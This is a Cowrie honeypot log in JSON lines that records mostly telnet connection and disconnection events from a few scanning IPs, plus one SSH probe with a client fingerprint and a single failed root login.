{"eventid":"cowrie.session.closed","duration":31.722963333129883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:38.754186Z","src_ip":"202.91.32.11","session":"616086a94ff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34948,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ffc7e6781d3","protocol":"telnet","message":"New connection: 185.26.126.47:34948 (159.203.135.109:23) [session: 4ffc7e6781d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:41.333433Z"}
{"eventid":"cowrie.session.closed","duration":31.507946491241455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:41.494442Z","src_ip":"202.91.32.11","session":"777c2fef03ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47246,"dst_ip":"159.203.135.109","dst_port":23,"session":"990ffc70950c","protocol":"telnet","message":"New connection: 202.91.32.11:47246 (159.203.135.109:23) [session: 990ffc70950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:42.077027Z"}
{"eventid":"cowrie.session.closed","duration":30.200740814208984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:42.125505Z","src_ip":"202.91.32.11","session":"cde320370c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324733018875122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:42.885581Z","src_ip":"202.91.32.11","session":"8f8c5606154b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db2f8bc0c5d","protocol":"telnet","message":"New connection: 45.63.42.31:43148 (10.17.0.5:23) [session: 3db2f8bc0c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:43.080189Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":59344,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f90e88aefcc","protocol":"telnet","message":"New connection: 103.115.172.252:59344 (10.17.0.5:23) [session: 5f90e88aefcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:43.846035Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58750,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfccfec69c88","protocol":"telnet","message":"New connection: 103.115.172.252:58750 (10.17.0.5:23) [session: cfccfec69c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:44.314670Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0a01653e89","protocol":"telnet","message":"New connection: 45.63.42.31:45724 (10.17.0.5:23) [session: 4a0a01653e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:44.328448Z"}
{"eventid":"cowrie.session.closed","duration":31.51515555381775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:45.795633Z","src_ip":"202.91.32.11","session":"8010321a4657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.979950189590454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:46.652583Z","src_ip":"202.91.32.11","session":"c249eee19906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.737045764923096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:46.872194Z","src_ip":"45.63.42.31","session":"003878686a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82988977432251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:46.983353Z","src_ip":"202.91.32.11","session":"0311d5137207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351220846176147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:47.219907Z","src_ip":"202.91.32.11","session":"e16e9d87058d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41844,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4149617a59","protocol":"telnet","message":"New connection: 202.91.32.11:41844 (159.203.135.109:23) [session: 3a4149617a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:47.623983Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41850,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa74c15db864","protocol":"telnet","message":"New connection: 202.91.32.11:41850 (159.203.135.109:23) [session: aa74c15db864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:48.568777Z"}
{"eventid":"cowrie.session.closed","duration":36.71058368682861,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:48.773816Z","src_ip":"45.63.42.31","session":"5e9a47a7c044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.869293928146362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:48.849946Z","src_ip":"202.91.32.11","session":"8c87878690a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.465247631072998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:49.267435Z","src_ip":"202.91.32.11","session":"6c1eef43b681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60786,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a04431e1c1","protocol":"telnet","message":"New connection: 45.63.42.31:60786 (10.17.0.5:23) [session: e8a04431e1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.029818Z"}
{"eventid":"cowrie.session.closed","duration":31.484790802001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.074399Z","src_ip":"202.91.32.11","session":"8b200fb4ba4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":32924,"dst_ip":"10.17.0.5","dst_port":23,"session":"81aa655f7aa6","protocol":"telnet","message":"New connection: 45.63.42.31:32924 (10.17.0.5:23) [session: 81aa655f7aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.186423Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41858,"dst_ip":"159.203.135.109","dst_port":23,"session":"def256a8b52e","protocol":"telnet","message":"New connection: 202.91.32.11:41858 (159.203.135.109:23) [session: def256a8b52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.675377Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fdcb072f8f8","protocol":"telnet","message":"New connection: 202.91.32.11:41860 (159.203.135.109:23) [session: 0fdcb072f8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.801650Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":59424,"dst_ip":"10.17.0.5","dst_port":22,"session":"79fc064200fd","protocol":"ssh","message":"New connection: 103.149.252.223:59424 (10.17.0.5:22) [session: 79fc064200fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.982240Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.986718Z","src_ip":"103.149.252.223","session":"79fc064200fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:51.990166Z","src_ip":"103.149.252.223","session":"79fc064200fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34554,"dst_ip":"10.17.0.5","dst_port":23,"session":"a78b5b0f5a60","protocol":"telnet","message":"New connection: 45.63.42.31:34554 (10.17.0.5:23) [session: a78b5b0f5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.076534Z"}
{"eventid":"cowrie.session.closed","duration":35.93896794319153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.310635Z","src_ip":"45.63.42.31","session":"ab59563e0b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6183865070343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.420608Z","src_ip":"202.91.32.11","session":"14dcfeb70a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41874,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c976b0d5f22","protocol":"telnet","message":"New connection: 202.91.32.11:41874 (159.203.135.109:23) [session: 3c976b0d5f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.709543Z"}
{"eventid":"cowrie.session.closed","duration":31.95215368270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.788724Z","src_ip":"202.91.32.11","session":"48ba77d18891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ddd1b242fc","protocol":"telnet","message":"New connection: 202.91.32.11:55682 (159.203.135.109:23) [session: 27ddd1b242fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:52.950529Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"68bdb2a4c8f0","protocol":"telnet","message":"New connection: 45.63.42.31:38214 (10.17.0.5:23) [session: 68bdb2a4c8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.024554Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55686,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f66d7f654e","protocol":"telnet","message":"New connection: 202.91.32.11:55686 (159.203.135.109:23) [session: 73f66d7f654e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.126208Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55702,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e99ab68e0c","protocol":"telnet","message":"New connection: 202.91.32.11:55702 (159.203.135.109:23) [session: 94e99ab68e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.144701Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63d552ceea0","protocol":"telnet","message":"New connection: 202.91.32.11:55706 (159.203.135.109:23) [session: c63d552ceea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.248225Z"}
{"eventid":"cowrie.session.closed","duration":31.344498872756958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.413368Z","src_ip":"202.91.32.11","session":"fa8fb093cbbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"daac9e9f7b47","protocol":"telnet","message":"New connection: 202.91.32.11:55718 (159.203.135.109:23) [session: daac9e9f7b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.624650Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55732,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba5bc4f7b255","protocol":"telnet","message":"New connection: 202.91.32.11:55732 (159.203.135.109:23) [session: ba5bc4f7b255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:54.689011Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38248,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa8d476e75b","protocol":"telnet","message":"New connection: 45.63.42.31:38248 (10.17.0.5:23) [session: dfa8d476e75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:55.046001Z"}
{"eventid":"cowrie.session.closed","duration":31.34060049057007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:55.797600Z","src_ip":"202.91.32.11","session":"70af10103793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55746,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3ebf8f06629","protocol":"telnet","message":"New connection: 202.91.32.11:55746 (159.203.135.109:23) [session: a3ebf8f06629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:56.161741Z"}
{"eventid":"cowrie.session.closed","duration":30.74441885948181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:56.574708Z","src_ip":"202.91.32.11","session":"231bd6473f98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55758,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e0b5a477f4","protocol":"telnet","message":"New connection: 202.91.32.11:55758 (159.203.135.109:23) [session: 35e0b5a477f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:57.779211Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ad2249b01a9","protocol":"telnet","message":"New connection: 202.91.32.11:55764 (159.203.135.109:23) [session: 5ad2249b01a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:58.455865Z"}
{"eventid":"cowrie.session.closed","duration":34.34474563598633,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:58.846940Z","src_ip":"45.63.42.31","session":"fd09f7bdb58d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3702232837677,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:59.892545Z","src_ip":"45.63.42.31","session":"4d30371a3c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07a73630906","protocol":"telnet","message":"New connection: 202.91.32.11:55778 (159.203.135.109:23) [session: c07a73630906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:00.596737Z"}
{"eventid":"cowrie.session.closed","duration":34.83820629119873,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:01.253904Z","src_ip":"45.63.42.31","session":"2906aaf6d8d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50210,"dst_ip":"159.203.135.109","dst_port":23,"session":"9237fa80feac","protocol":"telnet","message":"New connection: 202.91.32.11:50210 (159.203.135.109:23) [session: 9237fa80feac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:02.962299Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":33312,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ccbeab9193","protocol":"ssh","message":"New connection: 107.173.55.151:33312 (10.17.0.5:22) [session: 34ccbeab9193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.256255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.263455Z","src_ip":"107.173.55.151","session":"34ccbeab9193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.284307Z","src_ip":"107.173.55.151","session":"34ccbeab9193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.394445Z","src_ip":"107.173.55.151","session":"34ccbeab9193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50212,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c49201a3f20","protocol":"telnet","message":"New connection: 202.91.32.11:50212 (159.203.135.109:23) [session: 8c49201a3f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.538136Z"}
{"eventid":"cowrie.session.closed","duration":31.419119119644165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:03.760571Z","src_ip":"202.91.32.11","session":"d89f34f7ec13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50216,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e1a4958b91d","protocol":"telnet","message":"New connection: 202.91.32.11:50216 (159.203.135.109:23) [session: 3e1a4958b91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:04.176324Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:04.418015Z","src_ip":"107.173.55.151","session":"34ccbeab9193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6564a7b26998","protocol":"telnet","message":"New connection: 45.63.42.31:58796 (10.17.0.5:23) [session: 6564a7b26998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:04.659995Z"}
{"eventid":"cowrie.session.closed","duration":36.798564434051514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:04.827085Z","src_ip":"45.63.42.31","session":"d96998ab9d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"45afddb90332","protocol":"telnet","message":"New connection: 202.91.32.11:50222 (159.203.135.109:23) [session: 45afddb90332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:06.028873Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50236,"dst_ip":"159.203.135.109","dst_port":23,"session":"1385fdac892a","protocol":"telnet","message":"New connection: 202.91.32.11:50236 (159.203.135.109:23) [session: 1385fdac892a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:06.507349Z"}
{"eventid":"cowrie.session.closed","duration":31.824482440948486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:06.618235Z","src_ip":"202.91.32.11","session":"f741ef8f2bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89732837677002,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:07.138710Z","src_ip":"45.63.42.31","session":"ad7494f68dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1b0bb0441f","protocol":"telnet","message":"New connection: 202.91.32.11:50248 (159.203.135.109:23) [session: ff1b0bb0441f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:07.585224Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e64025e2fa8","protocol":"telnet","message":"New connection: 202.91.32.11:50250 (159.203.135.109:23) [session: 9e64025e2fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:08.038903Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac346bd9a2f","protocol":"telnet","message":"New connection: 202.91.32.11:50266 (159.203.135.109:23) [session: 2ac346bd9a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:08.093419Z"}
{"eventid":"cowrie.session.closed","duration":30.43366241455078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:08.386119Z","src_ip":"202.91.32.11","session":"e9dae03cc5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096395015716553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:08.575005Z","src_ip":"202.91.32.11","session":"667891a2091b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.483797073364258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:09.072782Z","src_ip":"202.91.32.11","session":"6a3666b69501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74078d311f9","protocol":"telnet","message":"New connection: 45.63.42.31:41504 (10.17.0.5:23) [session: c74078d311f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:10.274303Z"}
{"eventid":"cowrie.session.closed","duration":35.0993287563324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:11.229646Z","src_ip":"45.63.42.31","session":"23ffcc0dfcde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":50272,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea27b53799db","protocol":"telnet","message":"New connection: 202.91.32.11:50272 (159.203.135.109:23) [session: ea27b53799db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:12.495418Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9d9117f012","protocol":"telnet","message":"New connection: 45.63.42.31:43954 (10.17.0.5:23) [session: df9d9117f012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:12.558083Z"}
